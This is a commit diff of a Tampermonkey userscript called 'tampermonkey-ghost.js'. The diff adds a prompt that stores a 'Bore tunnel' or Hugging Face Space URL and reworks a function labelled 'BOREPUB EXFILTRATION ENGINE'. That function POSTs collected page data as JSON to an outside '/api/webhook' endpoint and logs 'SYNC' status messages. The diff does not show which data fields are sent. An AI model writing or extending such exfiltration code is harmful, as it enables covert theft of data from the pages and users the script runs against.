Update src/tampermonkey-ghost.js
Browse files- src/tampermonkey-ghost.js +25 -14
src/tampermonkey-ghost.js
CHANGED
|
@@ -19,14 +19,24 @@
|
|
| 19 |
const PERFECT_PERCENT = 99.9;
|
| 20 |
|
| 21 |
// Persist and prompt for Borepub/Webhook URL
|
| 22 |
-
|
| 23 |
|
| 24 |
-
function
|
| 25 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 26 |
if (newUrl !== null) {
|
| 27 |
-
|
| 28 |
-
|
| 29 |
-
|
|
|
|
|
|
|
|
|
|
| 30 |
}
|
| 31 |
}
|
| 32 |
|
|
@@ -71,15 +81,16 @@
|
|
| 71 |
|
| 72 |
// --- BOREPUB EXFILTRATION ENGINE ---
|
| 73 |
async function exfiltrate(data, type) {
|
| 74 |
-
|
|
|
|
|
|
|
| 75 |
try {
|
| 76 |
-
|
| 77 |
-
|
| 78 |
-
|
| 79 |
-
target = target.replace(/\/$/, '') + '/api/webhook';
|
| 80 |
}
|
| 81 |
|
| 82 |
-
const res = await fetch(
|
| 83 |
method: 'POST',
|
| 84 |
headers: { 'Content-Type': 'application/json' },
|
| 85 |
body: JSON.stringify({
|
|
@@ -90,9 +101,9 @@
|
|
| 90 |
})
|
| 91 |
});
|
| 92 |
const status = await res.json();
|
| 93 |
-
logMsg(`
|
| 94 |
} catch(e) {
|
| 95 |
-
logMsg("
|
| 96 |
}
|
| 97 |
}
|
| 98 |
|
|
|
|
| 19 |
const PERFECT_PERCENT = 99.9;
|
| 20 |
|
| 21 |
// Persist and prompt for Borepub/Webhook URL
|
| 22 |
+
const exfilUrl = localStorage.getItem('ghost_exfil_url') || '';
|
| 23 |
|
| 24 |
+
function logMsg(msg) {
|
| 25 |
+
const log = document.getElementById('ghost-log');
|
| 26 |
+
if(log) log.innerHTML = `<div>> ${new Date().toLocaleTimeString().split(' ')[0]} | ${msg}</div>` + log.innerHTML;
|
| 27 |
+
console.log("[GHOST]", msg);
|
| 28 |
+
}
|
| 29 |
+
|
| 30 |
+
async function updateExfilUrl() {
|
| 31 |
+
let current = localStorage.getItem('ghost_exfil_url') || '';
|
| 32 |
+
let newUrl = prompt("Enter Server URL (Your HF Space or Bore tunnel URL):", current);
|
| 33 |
if (newUrl !== null) {
|
| 34 |
+
// Clean URL
|
| 35 |
+
newUrl = newUrl.replace(/\/$/, '');
|
| 36 |
+
if (!newUrl.startsWith('http')) newUrl = 'https://' + newUrl;
|
| 37 |
+
|
| 38 |
+
localStorage.setItem('ghost_exfil_url', newUrl);
|
| 39 |
+
logMsg("Target set: " + newUrl);
|
| 40 |
}
|
| 41 |
}
|
| 42 |
|
|
|
|
| 81 |
|
| 82 |
// --- BOREPUB EXFILTRATION ENGINE ---
|
| 83 |
async function exfiltrate(data, type) {
|
| 84 |
+
const targetUrl = localStorage.getItem('ghost_exfil_url');
|
| 85 |
+
if (!targetUrl || !isActive) return;
|
| 86 |
+
|
| 87 |
try {
|
| 88 |
+
let endpoint = targetUrl;
|
| 89 |
+
if (!endpoint.includes('/api/webhook')) {
|
| 90 |
+
endpoint = endpoint.replace(/\/$/, '') + '/api/webhook';
|
|
|
|
| 91 |
}
|
| 92 |
|
| 93 |
+
const res = await fetch(endpoint, {
|
| 94 |
method: 'POST',
|
| 95 |
headers: { 'Content-Type': 'application/json' },
|
| 96 |
body: JSON.stringify({
|
|
|
|
| 101 |
})
|
| 102 |
});
|
| 103 |
const status = await res.json();
|
| 104 |
+
logMsg(`SYNC: ${type} -> OK`);
|
| 105 |
} catch(e) {
|
| 106 |
+
logMsg("SYNC_ERR: Check Server/Tunnel URL");
|
| 107 |
}
|
| 108 |
}
|
| 109 |
|